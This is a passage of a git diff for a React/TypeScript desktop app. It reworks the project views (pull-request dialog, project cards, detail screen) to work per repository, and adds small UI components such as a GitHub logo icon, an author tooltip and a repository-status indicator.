+    repository?.defaultBranch,
     repoStateQuery.data?.branches,
   ]);
   const [targetBranch, setTargetBranch] = React.useState(
-    project?.defaultBranch ?? "",
+    repository?.defaultBranch ?? "",
   );
   const [sourceBranch, setSourceBranch] = React.useState("");
   const sourceSyncQuery = useProjectRepoSyncStatusQuery(
-    project,
+    repository,
     reposDir,
     sourceBranch || null,
     targetBranch || null,
   );
-  const createMutation = useCreateProjectPullRequestMutation(project);
+  const createMutation = useCreateProjectPullRequestMutation(repository);
 
   React.useEffect(() => {
     if (!open) return;
     const nextProject =
       projects.find((candidate) => candidate.id === initialProjectId) ??
       projects[0];
-    setProjectId(nextProject?.id ?? "");
+    setRepositoryId(selectProjectRepository(nextProject, null)?.id ?? "");
   }, [initialProjectId, open, projects]);
 
   React.useEffect(() => {
-    if (!project) return;
-    setTargetBranch(project.defaultBranch);
+    if (!repository) return;
+    setTargetBranch(repository.defaultBranch);
     setSourceBranch("");
-  }, [project]);
+  }, [repository]);
 
   React.useEffect(() => {
     if (
@@ -104,9 +124,9 @@ export function CreatePullRequestDialog({
     (pullRequest) =>
       (pullRequest.status === "Open" || pullRequest.status === "Draft") &&
       pullRequest.branchName === sourceBranch &&
-      (pullRequest.targetBranch ?? project?.defaultBranch) === targetBranch,
+      (pullRequest.targetBranch ?? repository?.defaultBranch) === targetBranch,
   );
-  const selectionError = !project
+  const selectionError = !repository
     ? "Choose a repository."
     : !targetBranch
       ? "Choose a base branch."
@@ -120,12 +140,12 @@ export function CreatePullRequestDialog({
               ? "The compare branch must be pushed before opening a pull request."
               : null;
   const description =
-    project && sourceBranch && targetBranch
-      ? `${project.name}: ${sourceBranch} → ${targetBranch}${sourceCommit ? ` at ${sourceCommit.slice(0, 7)}` : ""}`
+    repository && sourceBranch && targetBranch
+      ? `${repository.name}: ${sourceBranch} → ${targetBranch}${sourceCommit ? ` at ${sourceCommit.slice(0, 7)}` : ""}`
       : "Choose a repository and branches to compare.";
 
   async function handleCreate(input: CreatePullRequestDialogInput) {
-    if (!project || !sourceCommit || selectionError) {
+    if (!project || !repository || !sourceCommit || selectionError) {
       throw new Error(
         selectionError ?? "Pull request branches are incomplete.",
       );
@@ -139,7 +159,7 @@ export function CreatePullRequestDialog({
       reviewers: [],
     });
     toast.success("Pull request created.");
-    await onCreated(project, pullRequestId);
+    await onCreated(project, repository, pullRequestId);
   }
 
   return (
@@ -165,12 +185,17 @@ export function CreatePullRequestDialog({
             className="h-10 w-full rounded-lg border border-input bg-background px-3 text-sm font-normal outline-hidden focus:ring-1 focus:ring-ring"
             data-testid="create-pull-request-repository"
             disabled={createMutation.isPending}
-            onChange={(event) => setProjectId(event.target.value)}
-            value={project?.id ?? ""}
+            onChange={(event) => setRepositoryId(event.target.value)}
+            value={repository?.id ?? ""}
           >
-            {projects.map((candidate) => (
-              <option key={candidate.id} value={candidate.id}>
-                {candidate.name}
+            {repositoryOptions.map((candidate) => (
+              <option
+                key={candidate.repository.id}
+                value={candidate.repository.id}
+              >
+                {candidate.project.repositories.length > 1
+                  ? `${candidate.project.name} / ${candidate.repository.name}`
+                  : candidate.project.name}
               </option>
             ))}
           </select>
diff --git a/desktop/src/features/projects/ui/GitHubMark.tsx b/desktop/src/features/projects/ui/GitHubMark.tsx
new file mode 100644
index 0000000000..29c9602102
--- /dev/null
+++ b/desktop/src/features/projects/ui/GitHubMark.tsx
@@ -0,0 +1,9 @@
+import type { SVGProps } from "react";
+
+export function GitHubMark(props: SVGProps<SVGSVGElement>) {
+  return (
+    <svg aria-hidden="true" fill="currentColor" viewBox="0 0 24 24" {...props}>
+      <path d="M12 .7a11.5 11.5 0 0 0-3.64 22.41c.58.1.79-.25.79-.56v-2.23c-3.22.7-3.9-1.37-3.9-1.37-.53-1.34-1.29-1.7-1.29-1.7-1.05-.72.08-.7.08-.7 1.17.08 1.78 1.2 1.78 1.2 1.04 1.77 2.72 1.26 3.38.96.1-.75.4-1.26.74-1.55-2.57-.29-5.28-1.28-5.28-5.69 0-1.26.45-2.28 1.19-3.09-.12-.29-.52-1.46.11-3.05 0 0 .97-.31 3.16 1.18a10.95 10.95 0 0 1 5.76 0c2.19-1.49 3.15-1.18 3.15-1.18.63 1.59.23 2.76.11 3.05.74.81 1.19 1.83 1.19 3.09 0 4.42-2.71 5.39-5.29 5.68.42.36.79 1.06.79 2.14v3.18c0 .31.21.67.8.56A11.5 11.5 0 0 0 12 .7Z" />
+    </svg>
+  );
+}
diff --git a/desktop/src/features/projects/ui/MergePullRequestButton.tsx b/desktop/src/features/projects/ui/MergePullRequestButton.tsx
index 40757f1529..c023f4dbb8 100644
--- a/desktop/src/features/projects/ui/MergePullRequestButton.tsx
+++ b/desktop/src/features/projects/ui/MergePullRequestButton.tsx
@@ -2,7 +2,10 @@ import { AlertTriangle, Copy, GitMerge, SquareTerminal } from "lucide-react";
 import * as React from "react";
 import { toast } from "sonner";
 
-import type { Project, ProjectPullRequest } from "@/features/projects/hooks";
+import type {
+  ProjectPullRequest,
+  Repository as Project,
+} from "@/features/projects/hooks";
 import { projectPullRequestConflictCommands } from "@/features/projects/projectPullRequestConflictRecovery";
 import {
   useMergeProjectPullRequestMutation,
diff --git a/desktop/src/features/projects/ui/ProjectAuthorIdentity.tsx b/desktop/src/features/projects/ui/ProjectAuthorIdentity.tsx
new file mode 100644
index 0000000000..8126292894
--- /dev/null
+++ b/desktop/src/features/projects/ui/ProjectAuthorIdentity.tsx
@@ -0,0 +1,72 @@
+import type { UserProfileLookup } from "@/features/profile/lib/identity";
+import { UserProfilePopover } from "@/features/profile/ui/UserProfilePopover";
+import { normalizePubkey } from "@/shared/lib/pubkey";
+import { Tooltip, TooltipContent, TooltipTrigger } from "@/shared/ui/tooltip";
+import { UserAvatar } from "@/shared/ui/UserAvatar";
+
+/** Compact work-item author identity with a minimal hover summary. */
+export function ProjectAuthorIdentity({
+  label,
+  profiles,
+  pubkey,
+  testId,
+}: {
+  label: string;
+  profiles?: UserProfileLookup;
+  pubkey: string;
+  testId?: string;
+}) {
+  const profile = profiles?.[normalizePubkey(pubkey)];
+  const roleLabel = profile?.isAgent === true ? "Agent" : "Person";
+
+  return (
+    <span className="inline-flex align-middle">
+      <UserProfilePopover
+        enableHoverPopover={false}
+        pubkey={pubkey}
+        triggerElement="span"
+      >
+        <Tooltip>
+          <TooltipTrigger asChild>
+            <button
+              className="relative z-10 inline-flex items-center gap-1 rounded-sm hover:underline focus-visible:outline-hidden focus-visible:ring-1 focus-visible:ring-ring"
+              data-testid={testId}
+              type="button"
+            >
+              <UserAvatar
+                accent={profile?.isAgent === true}
+                avatarUrl={profile?.avatarUrl ?? null}
+                displayName={label}
+                fallbackDelayMs={0}
+                size="xs"
+                testId={testId ? `${testId}-avatar` : undefined}
+              />
+              <span data-testid={testId ? `${testId}-label` : undefined}>
+                {label}
+              </span>
+            </button>
+          </TooltipTrigger>
+          <TooltipContent
+            className="flex items-center gap-2 px-2.5 py-2"
+            data-testid={testId ? `${testId}-rollover` : undefined}
+            side="top"
+          >
+            <UserAvatar
+              accent={profile?.isAgent === true}
+              avatarUrl={profile?.avatarUrl ?? null}
+              displayName={label}
+              fallbackDelayMs={0}
+              size="sm"
+            />
+            <span className="min-w-0">
+              <span className="block truncate font-medium">{label}</span>
+              <span className="block text-primary-foreground/70">
+                {roleLabel}
+              </span>
+            </span>
+          </TooltipContent>
+        </Tooltip>
+      </UserProfilePopover>
+    </span>
+  );
+}
diff --git a/desktop/src/features/projects/ui/ProjectCards.tsx b/desktop/src/features/projects/ui/ProjectCards.tsx
index 4f4fef7678..ed28ddd583 100644
--- a/desktop/src/features/projects/ui/ProjectCards.tsx
+++ b/desktop/src/features/projects/ui/ProjectCards.tsx
@@ -1,6 +1,7 @@
 import {
+  CircleAlert,
   CircleDot,
-  FolderGit2,
+  Folders,
   GitCommit,
   GitPullRequest,
   TerminalSquare,
@@ -22,6 +23,7 @@ import {
   getProjectUpdatedAt,
   relativeTime,
 } from "@/features/projects/lib/projectsViewHelpers";
+import type { ProjectRepoUnavailableReason } from "@/features/projects/lib/projectRepoAvailability";
 import { projectTerminalLabel } from "@/features/projects/ui/useOpenProjectTerminal";
 import {
   PROJECT_LIST_ROW_CLASS,
@@ -83,7 +85,7 @@ function ProjectUpdatedLabel({
   );
 }
 
-function ProjectPeopleStack({
+export function ProjectPeopleStack({
   pubkeys,
   profiles,
   workOwnerPubkey,
@@ -100,7 +102,7 @@ function ProjectPeopleStack({
   }
 
   return (
-    <div className="flex items-center justify-end -space-x-1.5">
+    <div className="pointer-events-auto flex items-center justify-end -space-x-1.5">
       {visible.map((pubkey, index) => {
         const profile = profiles?.[normalizePubkey(pubkey)];
         const label = resolveUserLabel({ pubkey, profiles });
@@ -167,7 +169,7 @@ const PROJECT_STAT_ITEMS = [
   },
 ] as const;
 
-function ProjectStatsRow({
+export function ProjectStatsRow({
   summary,
   fixedColumns = false,
 }: {
@@ -207,7 +209,7 @@ function ProjectStatsRow({
 
 // Segmented commits/PRs/issues distribution — the card's "progress bar".
 // Hovering thickens the bar and reveals a tooltip with the exact breakdown.
-function ProjectActivityBar({
+export function ProjectActivityBar({
   summary,
 }: {
   summary: ProjectActivitySummary | undefined;
@@ -263,10 +265,58 @@ function StatusPill({ status }: { status: string }) {
   );
 }
 
+function RepositoryUnavailableIndicator({
+  reason,
+}: {
+  reason: ProjectRepoUnavailableReason | undefined;
+}) {
+  if (!reason) return null;
+  const status = {
+    authentication: {
+      description: "Buzz could not authenticate with this repository.",
+      label: "Access failed",
+    },
+    missing: {
+      description: "No git repository was found on the Buzz relay.",
+      label: "Uninitialized",
+    },
+    network: {
+      description: "The Buzz git service could not be reached.",
+      label: "Unreachable",
+    },
+    ref: {
+      description: "The advertised branch is missing from the git remote.",
+      label: "Branch missing",
+    },
+    unknown: {
+      description: "Buzz could not load this repository.",
+      label: "Unavailable",
+    },
+  }[reason];
+
+  return (
+    <Tooltip>
+      <TooltipTrigger asChild>
+        <span
+          aria-label={`Repository ${status.label.toLowerCase()}`}
+          className="inline-flex h-6 w-6 shrink-0 items-center justify-center rounded-md text-amber-600 hover:bg-amber-500/10 dark:text-amber-300"
+          role="img"
+        >
+          <CircleAlert className="h-3.5 w-3.5" />
+        </span>
+      </TooltipTrigger>
+      <TooltipContent className="max-w-64">
+        <p className="font-medium">{status.label}</p>
+        <p className="text-muted-foreground">{status.description}</p>
+      </TooltipContent>
+    </Tooltip>
+  );
+}
+
 export function EmptyState() {
   return (
     <div className="flex flex-1 flex-col items-center justify-center gap-3 px-4 py-16 text-center">
-      <FolderGit2 className="h-10 w-10 text-muted-foreground/40" />
+      <Folders className="h-10 w-10 text-muted-foreground/40" />
       <div className="space-y-1">
         <p className="text-sm font-medium text-foreground">No projects yet</p>
         <p className="text-sm text-muted-foreground">
@@ -280,7 +330,7 @@ export function EmptyState() {
 export function EmptyFilteredState() {
   return (
     <div className="flex flex-1 flex-col items-center justify-center gap-3 border border-dashed border-border/60 px-4 py-12 text-center">
-      <FolderGit2 className="h-9 w-9 text-muted-foreground/40" />
+      <Folders className="h-9 w-9 text-muted-foreground/40" />
       <div className="space-y-1">
         <p className="text-sm font-medium text-foreground">
           No matching projects
@@ -302,7 +352,7 @@ function ProjectCardButton({
 }) {
   return (
     <button
-      className="absolute inset-0"
+      className="absolute inset-0 z-0 cursor-pointer"
       onClick={() => onOpen(project)}
       type="button"
     >
@@ -399,6 +449,7 @@ type ProjectItemProps = {
   people: string[];
   profiles?: UserProfileLookup;
   summary: ProjectActivitySummary | undefined;
+  repositoryUnavailableReason?: ProjectRepoUnavailableReason;
   hasLocal: boolean;
   canDelete: boolean;
   deleteDisabled: boolean;
@@ -412,6 +463,7 @@ export function ProjectGridCard({
   people,
   profiles,
   summary,
+  repositoryUnavailableReason,
   hasLocal,
   canDelete,
   deleteDisabled,
@@ -426,18 +478,27 @@ export function ProjectGridCard({
       data-testid={`project-card-${project.dtag}`}
     >
       <ProjectCardButton onOpen={onOpen} project={project} />
-      <div className="flex min-h-0 flex-1 flex-col">
+      <div className="pointer-events-none relative z-10 flex min-h-0 flex-1 flex-col">
         <div className="flex min-w-0 items-center justify-between gap-3 px-4 pt-3">
           <div className="flex min-w-0 items-center gap-2">
             <span className="flex h-9 w-9 shrink-0 items-center justify-center rounded-lg border border-border/60 bg-muted/40">
-              <FolderGit2 className="h-4.5 w-4.5 text-muted-foreground" />
+              <Folders className="h-4.5 w-4.5 text-muted-foreground" />
             </span>
             <span className="min-w-0 truncate text-sm font-semibold text-foreground">
               {project.name}
             </span>
+            <span className="shrink-0 text-xs text-muted-foreground">
+              {project.repositoryAddresses.length}{" "}
+              {project.repositoryAddresses.length === 1
+                ? "repository"
+                : "repositories"}
+            </span>
             <StatusPill status={project.status} />
+            <RepositoryUnavailableIndicator
+              reason={repositoryUnavailableReason}
+            />
           </div>
-          <div className="relative z-10 flex shrink-0 items-center gap-1">
+          <div className="pointer-events-auto relative z-10 flex shrink-0 items-center gap-1">
             <ProjectUpdatedLabel
               profiles={profiles}
               project={project}
@@ -484,6 +545,7 @@ export function ProjectListRow({
   people,
   profiles,
   summary,
+  repositoryUnavailableReason,
   hasLocal,
   canDelete,
   deleteDisabled,
@@ -497,12 +559,12 @@ export function ProjectListRow({
       data-testid={`project-row-${project.dtag}`}
     >
       <ProjectCardButton onOpen={onOpen} project={project} />
-      <div className="flex min-w-0 items-start gap-2.5">
-        <div className="flex min-w-0 flex-1 items-start gap-2.5">
+      <div className="pointer-events-none relative z-10 flex min-w-0 items-center gap-2.5">
+        <div className="flex min-w-0 flex-1 items-center gap-2.5">
           <span className="flex h-9 w-9 shrink-0 items-center justify-center rounded-lg border border-border/60 bg-muted/40">
-            <FolderGit2 className="h-4.5 w-4.5 text-muted-foreground" />
+            <Folders className="h-4.5 w-4.5 text-muted-foreground" />
           </span>
-          <div className="-mt-0.5 min-w-0">
+          <div className="min-w-0">
             <div className="flex min-w-0 items-center gap-2">
               <span className={PROJECT_LIST_ROW_TITLE_CLASS}>
                 {project.name}
@@ -515,7 +577,26 @@ export function ProjectListRow({
           </div>
         </div>
 
-        <div className={PROJECT_LIST_ROW_TRAILING_CLASS}>
+        <div
+          className={cn(PROJECT_LIST_ROW_TRAILING_CLASS, "pointer-events-auto")}
+        >
+          <div
+            className="hidden w-24 shrink-0 text-xs text-muted-foreground md:block"
+            data-testid="projects-row-context"
+          >
+            {project.repositoryAddresses.length}{" "}
+            {project.repositoryAddresses.length === 1
+              ? "repository"
+              : "repositories"}
+          </div>
+          <div
+            className="flex w-6 shrink-0 justify-center"
+            data-testid="projects-row-repository-status"
+          >
+            <RepositoryUnavailableIndicator
+              reason={repositoryUnavailableReason}
+            />
+          </div>
           <div
             className="hidden items-center gap-3 xl:flex"
             data-testid="projects-row-summary"
@@ -573,7 +654,7 @@ export function ProjectRailRow({
       <ProjectCardButton onOpen={onOpen} project={project} />
       <div className="flex min-w-0 items-start gap-2">
         <span className="flex h-7 w-7 shrink-0 items-center justify-center rounded-md bg-muted/50">
-          <FolderGit2 className="h-3.5 w-3.5 text-muted-foreground" />
+          <Folders className="h-3.5 w-3.5 text-muted-foreground" />
         </span>
         <div className="min-w-0 flex-1">
           <span className="block min-w-0 truncate text-xs font-semibold text-foreground">
diff --git a/desktop/src/features/projects/ui/ProjectCommitDetailPanel.tsx b/desktop/src/features/projects/ui/ProjectCommitDetailPanel.tsx
index 859a769c41..0f7d95a01c 100644
--- a/desktop/src/features/projects/ui/ProjectCommitDetailPanel.tsx
+++ b/desktop/src/features/projects/ui/ProjectCommitDetailPanel.tsx
@@ -13,6 +13,7 @@ import { CopyCommitHashButton } from "./ProjectCommitCopyButton";
 import { PROJECT_DETAIL_PANEL_CLASS } from "./projectPanelStyles";
 import { ProfileIdentityButton } from "./ProjectProfileIdentity";
 import { ProjectDiffFilesPanel } from "./ProjectPullRequestFilesChangedPanel";
+import { ProjectOriginReference } from "./ProjectOriginReference";
 import { ProjectRichContent } from "./ProjectRichContent";
 
 function commitDateLabel(timestamp: number) {
@@ -34,6 +35,8 @@ export function ProjectCommitDetailPanel({
   diff,
   diffError,
   diffLoading,
+  originAgentName,
+  originChannelId,
   profiles,
   viewerGitIdentity,
 }: {
@@ -44,6 +47,8 @@ export function ProjectCommitDetailPanel({
   diff: ProjectRepoDiff | null | undefined;
   diffError: unknown;
   diffLoading: boolean;
+  originAgentName?: string | null;
+  originChannelId?: string | null;
   profiles?: UserProfileLookup;
   viewerGitIdentity?: ViewerGitIdentity | null;
 }) {
@@ -61,9 +66,13 @@ export function ProjectCommitDetailPanel({
         className={`space-y-2 p-4 ${PROJECT_DETAIL_PANEL_CLASS}`}
         data-project-detail-panel
       >
-        <p className="flex items-center gap-1.5 text-xs font-medium text-muted-foreground">
+        <p className="flex flex-wrap items-center gap-1.5 text-xs font-medium text-muted-foreground">
           <GitCommitHorizontal className="h-3.5 w-3.5" />
           Commit from {authorLabel}
+          <ProjectOriginReference
+            agentName={originAgentName}
+            channelId={originChannelId}
+          />
         </p>
         <div className="flex min-w-0 items-start gap-3">
           <ProfileIdentityButton
diff --git a/desktop/src/features/projects/ui/ProjectDetailChrome.tsx b/desktop/src/features/projects/ui/ProjectDetailChrome.tsx
new file mode 100644
index 0000000000..ddd0106d9b
--- /dev/null
+++ b/desktop/src/features/projects/ui/ProjectDetailChrome.tsx
@@ -0,0 +1,123 @@
+import { ChevronRight, FolderGit2, MessageSquare } from "lucide-react";
+import type * as React from "react";
+
+import type { Project } from "@/features/projects/hooks";
+import { channelChrome, topChromeInset } from "@/shared/layout/chromeLayout";
+import { cn } from "@/shared/lib/cn";
+import { Button } from "@/shared/ui/button";
+
+export type ProjectDetailWorkItemCrumb = {
+  category: string;
+  title: string;
+  clear: () => void;
+};
+
+export function ProjectDetailChrome({
+  activeTabCrumb,
+  activeWorkItemCrumb,
+  chromeRef,
+  onGoChannel,
+  onGoProjectHome,
+  onGoProjects,
+  project,
+}: {
+  activeTabCrumb: string | null;
+  activeWorkItemCrumb: ProjectDetailWorkItemCrumb | null;
+  chromeRef: React.Ref<HTMLDivElement>;
+  onGoChannel: (channelId: string) => void;
+  onGoProjectHome: () => void;
+  onGoProjects: () => void;
+  project: Project;
+}) {
+  return (
+    <div
+      className={cn(
+        "pointer-events-none relative z-30 overflow-hidden rounded-tl-xl bg-background/80 backdrop-blur-md supports-backdrop-filter:bg-background/70 dark:bg-background/70 dark:backdrop-blur-xl dark:supports-backdrop-filter:bg-background/55",
+        channelChrome.negativeMargin,
+        topChromeInset.divider,
+      )}
+      ref={chromeRef}
+    >
+      <div
+        className="pointer-events-auto flex min-h-[2.75rem] items-center justify-between gap-3 px-4 py-1.5"
+        data-tauri-drag-region
+      >
+        <nav
+          aria-label="Project breadcrumb"
+          className="-ml-1 flex min-w-0 items-center gap-0.5 text-xs text-muted-foreground"
+        >
+          <button
+            className="flex shrink-0 items-center gap-1.5 rounded-md px-1 py-1 font-medium transition-colors hover:text-foreground focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
+            onClick={onGoProjects}
+            type="button"
+          >
+            <FolderGit2 className="h-3.5 w-3.5" />
+            Projects
+          </button>
+          <ChevronRight className="h-3 w-3 shrink-0 text-muted-foreground/60" />
+          {activeWorkItemCrumb ? (
+            <>
+              <button
+                className="min-w-0 truncate rounded-md px-0.5 py-1 font-medium transition-colors hover:text-foreground focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
+                onClick={onGoProjectHome}
+                type="button"
+              >
+                {project.name}
+              </button>
+              <ChevronRight className="h-3 w-3 shrink-0 text-muted-foreground/60" />
+              <button
+                className="shrink-0 rounded-md px-0.5 py-1 font-medium transition-colors hover:text-foreground focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
+                onClick={activeWorkItemCrumb.clear}
+                type="button"
+              >
+                {activeWorkItemCrumb.category}
+              </button>
+              <ChevronRight className="h-3 w-3 shrink-0 text-muted-foreground/60" />
+              <span
+                aria-current="page"
+                className="min-w-0 truncate px-0.5 font-medium text-muted-foreground/60"
+              >
+                {activeWorkItemCrumb.title}
+              </span>
+            </>
+          ) : activeTabCrumb ? (
+            <>
+              <button
+                className="min-w-0 truncate rounded-md px-0.5 py-1 font-medium transition-colors hover:text-foreground focus-visible:outline-hidden focus-visible:ring-2 focus-visible:ring-ring"
+                onClick={onGoProjectHome}
+                type="button"
+              >
+                {project.name}
+              </button>
+              <ChevronRight className="h-3 w-3 shrink-0 text-muted-foreground/60" />
+              <span
+                aria-current="page"
+                className="min-w-0 truncate px-0.5 font-medium text-muted-foreground/60"
+              >
+                {activeTabCrumb}
+              </span>
+            </>
+          ) : (
+            <span
+              aria-current="page"
+              className="min-w-0 truncate px-0.5 font-medium text-muted-foreground/60"
+            >
+              {project.name}
+            </span>
+          )}
+        </nav>
+        {project.projectChannelId ? (
+          <Button
+            className="h-8 shrink-0 gap-1.5"
+            onClick={() => onGoChannel(project.projectChannelId as string)}
+            size="sm"
+            variant="outline"
+          >
+            <MessageSquare className="h-4 w-4" />
+            Open Discussion
+          </Button>
+        ) : null}
+      </div>
+    </div>
+  );
+}
diff --git a/desktop/src/features/projects/ui/ProjectDetailScreen.tsx b/desktop/src/features/projects/ui/ProjectDetailScreen.tsx
index 587dd0d11b..1b2adf316a 100644
--- a/desktop/src/features/projects/ui/ProjectDetailScreen.tsx
+++ b/desktop/src/features/projects/ui/ProjectDetailScreen.tsx
@@ -1,10 +1,4 @@
-import {
-  ArrowLeft,
-  ChevronRight,
-  ExternalLink,
-  FolderGit2,
-  MessageSquare,
-} from "lucide-react";
+import { ArrowLeft, ExternalLink, FolderGit2 } from "lucide-react";
 import * as React from "react";
 import { toast } from "sonner";
 
@@ -12,6 +6,7 @@ import { useAppNavigation } from "@/app/navigation/useAppNavigation";
 import { useOpenDmMutation } from "@/features/channels/hooks";
 import {
   type Project,
+  type Repository,
   useProjectQuery,
   useProjectIssuesQuery,
   useProjectLocalRepoDiffQuery,
@@ -47,18 +42,13 @@ import {
 import { useIdentityQuery } from "@/shared/api/hooks";
 import { openProjectMergeRecoveryTerminal } from "@/shared/api/projectGit";
 import { useMainInsetRef } from "@/shared/layout/MainInsetContext";
-import {
-  channelChrome,
-  channelContentTopPaddingMeasurement,
-  topChromeInset,
-} from "@/shared/layout/chromeLayout";
+import { channelContentTopPaddingMeasurement } from "@/shared/layout/chromeLayout";
 import { useMeasuredCssVariable } from "@/shared/layout/useMeasuredCssVariable";
-import { cn } from "@/shared/lib/cn";
-import { isSafeUrl } from "@/shared/lib/url";
 import { ProfilePanelProvider } from "@/shared/context/ProfilePanelContext";
 import { useHistorySearchState } from "@/shared/hooks/useHistorySearchState";
 import { useThreadPanelWidth } from "@/shared/hooks/useThreadPanelWidth";
 import { Button } from "@/shared/ui/button";
+import { ViewLoadingFallback } from "@/shared/ui/ViewLoadingFallback";
 import { useCommunities } from "@/features/communities/useCommunities";
 import { useProjectCommitDiffQuery } from "@/features/projects/useProjectCommitDiff";
 import { useGitIdentityQuery } from "@/features/projects/useGitIdentity";
@@ -70,14 +60,21 @@ import {
   resolveProjectDefaultBranch,
 } from "@/features/projects/lib/projectBranches";
 import { normalizeRepositoryUrl } from "@/features/projects/lib/projectsViewHelpers";
+import { selectProjectRepository } from "@/features/projects/projectModels";
+import { KIND_REPO_ANNOUNCEMENT } from "@/shared/constants/kinds";
+import { useProjectRepoPresentation } from "@/features/projects/useProjectRepoHost";
 import { WorkspaceTabs } from "./ProjectWorkspaceTabs";
 import type { RepoSourceHeaderControls } from "./ProjectRepositorySource";
+import { showProjectCloneErrorToast } from "./projectGitErrorToast";
 import {
   projectTerminalLabel,
   useOpenProjectTerminal,
 } from "./useOpenProjectTerminal";
 import type { CreateIssueDialogInput } from "./CreateIssueDialog";
 import { ProjectBranchActionDialogs } from "./ProjectBranchActionDialogs";
+import { ProjectDetailChrome } from "./ProjectDetailChrome";
+import { ProjectRepositoryManagement } from "./ProjectRepositoryManagement";
+import { UnavailableProjectRepositories } from "./UnavailableProjectRepositories";
 import {
   PROJECT_TAB_CRUMB_LABELS,
   projectPeople,
@@ -90,6 +87,7 @@ type ProjectDetailScreenProps = {
   projectId: string;
   pullRequestId?: string;
   issueId?: string;
+  repositoryId?: string;
 };
 
 const PROJECT_DETAIL_PANEL_SEARCH_KEYS = [
@@ -97,9 +95,15 @@ const PROJECT_DETAIL_PANEL_SEARCH_KEYS = [
   "profileTab",
   "profileView",
 ] as const;
+const PROJECT_REPOSITORY_SEARCH_KEYS = [
+  "repositoryId",
+  "issueId",
+  "pullRequestId",
+  "commitHash",
+] as const;
 
 export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
-  const { commitHash, projectId, pullRequestId, issueId } = props;
+  const { commitHash, projectId, pullRequestId, issueId, repositoryId } = props;
   const { goChannel, goProject, goProjects } = useAppNavigation();
   const { activeCommunity } = useCommunities();
   const mainInsetRef = useMainInsetRef();
@@ -111,16 +115,34 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
   const projectQuery = useProjectQuery(projectId);
   const projectsQuery = useProjectsQuery();
   const project = projectQuery.data;
-  const repoStateQuery = useRepoStateQuery(project);
-  const pullRequestsQuery = useProjectPullRequestsQuery(project);
-  const defaultBranch = project
-    ? resolveProjectDefaultBranch(project.defaultBranch, repoStateQuery.data)
+  // When the projectId is a canonical 30617:<owner>:<d> coordinate (emitted by
+  // entity links in #4695), derive the repository selection directly from the
+  // <owner>:<d> portion rather than falling back to the project's primary
+  // repository. Repository.id is "<owner>:<dtag>", so stripping the kind+colon
+  // prefix gives the exact repository id. This ensures a linked PR/issue on a
+  // non-primary member opens from the correct repository instead of the primary.
+  const routeRepositoryId: string | undefined = React.useMemo(() => {
+    if (repositoryId) return repositoryId;
+    const kindStr = `${String(KIND_REPO_ANNOUNCEMENT)}:`;
+    if (!projectId.startsWith(kindStr)) return undefined;
+    // projectId is "30617:<owner>:<dtag>" — strip "30617:" to get "<owner>:<dtag>"
+    return projectId.slice(kindStr.length);
+  }, [projectId, repositoryId]);
+  const repository = selectProjectRepository(project, routeRepositoryId);
+  const repoRemote = useProjectRepoPresentation(repository);
+  const { applyPatch: applyRepositorySearch } = useHistorySearchState(
+    PROJECT_REPOSITORY_SEARCH_KEYS,
+  );
+  const repoStateQuery = useRepoStateQuery(repository);
+  const pullRequestsQuery = useProjectPullRequestsQuery(repository);
+  const defaultBranch = repository
+    ? resolveProjectDefaultBranch(repository.defaultBranch, repoStateQuery.data)
     : null;
   const { branchOptions, forgetBranch, managedBranches, rememberBranch } =
     useOptimisticProjectBranches({
       defaultBranch,
       observedBranches: repoStateQuery.data?.branches ?? [],
-      projectId,
+      projectId: repository?.id ?? projectId,
       referencedBranches:
         pullRequestsQuery.data?.map(
           (pullRequest) => pullRequest.branchName ?? null,
@@ -130,7 +152,7 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
     useProjectRepositoryRefSelection({
       branchOptions,
       defaultBranch,
-      projectAvailable: Boolean(project),
+      projectAvailable: Boolean(repository),
       projectPending: projectQuery.isPending,
       tags: repoStateQuery.data?.tags ?? [],
     });
@@ -183,10 +205,10 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
     },
     [],
   );
-  const issuesQuery = useProjectIssuesQuery(project);
+  const issuesQuery = useProjectIssuesQuery(repository);
   const selectedBranchPullRequest = React.useMemo(() => {
     const projectRepositories = new Set(
-      (project?.cloneUrls ?? []).map(normalizeRepositoryUrl),
+      (repository?.cloneUrls ?? []).map(normalizeRepositoryUrl),
     );
     const matches =
       pullRequestsQuery.data?.filter(
@@ -197,7 +219,7 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
           ),
       ) ?? [];
     return matches.length === 1 ? matches[0] : null;
-  }, [activeBranch, project?.cloneUrls, pullRequestsQuery.data]);
+  }, [activeBranch, pullRequestsQuery.data, repository?.cloneUrls]);
   const openBranchPullRequest =
     selectedBranchPullRequest?.status === "Open" ||
     selectedBranchPullRequest?.status === "Draft"
@@ -210,58 +232,59 @@ export function ProjectDetailScreen(props: ProjectDetailScreenProps) {
     "remote",
   );
   const repoSnapshotQuery = useProjectRepoSnapshotQuery(
-    project,
+    repository,
     activeBranch,
     selectedTag ? null : selectedBranchPullRequest,
     activeTag,
+    repoRemote.host.kind === "buzz",
   );
   const repoDiffQuery = useProjectRepoDiffQuery(
-    project,
+    repository,
     activeBranch,
     activeRepoPullRequest,
     repoSource === "remote",
   );
   const localRepoDiffQuery = useProjectLocalRepoDiffQuery(
-    project,
+    repository,
     activeCommunity?.reposDir,
     activeBranch,
     activeRepoPullRequest,
     repoSource === "local" && Boolean(activeRepoPullRequest),
   );
   const commitDiffQuery = useProjectCommitDiffQuery(
-    project,
+    repository,
     selectedCommitHash,
     repoSource,
     activeCommunity?.reposDir,
   );
   const localRepoSnapshotQuery = useProjectLocalRepoSnapshotQuery(
-    project,
+    repository,
     activeCommunity?.reposDir,
     activeBranch,
   );
   const repoSyncStatusQuery = useProjectRepoSyncStatusQuery(
-    project,
+    repository,
     activeCommunity?.reposDir,
     activeBranch,
   );
   const pushLocalRepoMutation = usePushProjectLocalRepositoryMutation(
-    project,
+    repository,
     activeCommunity?.reposDir,
     activeBranch,
     openBranchPullRequest,
   );
   const pullLocalRepoMutation = usePullProjectLocalRepositoryMutation(
-    project,
+    repository,
     activeCommunity?.reposDir,
     activeBranch,
   );
   const cloneRepoMutation = useCloneProjectRepositoryMutation(
-    project,
+    repository,
     activeCommunity?.reposDir,
   );
-  const createIssueMutation = useCreateProjectIssueMutation(project);
+  const createIssueMutation = useCreateProjectIssueMutation(repository);
   const updatePullRequestMutation = useUpdateProjectPullRequestMutation(
-    project,
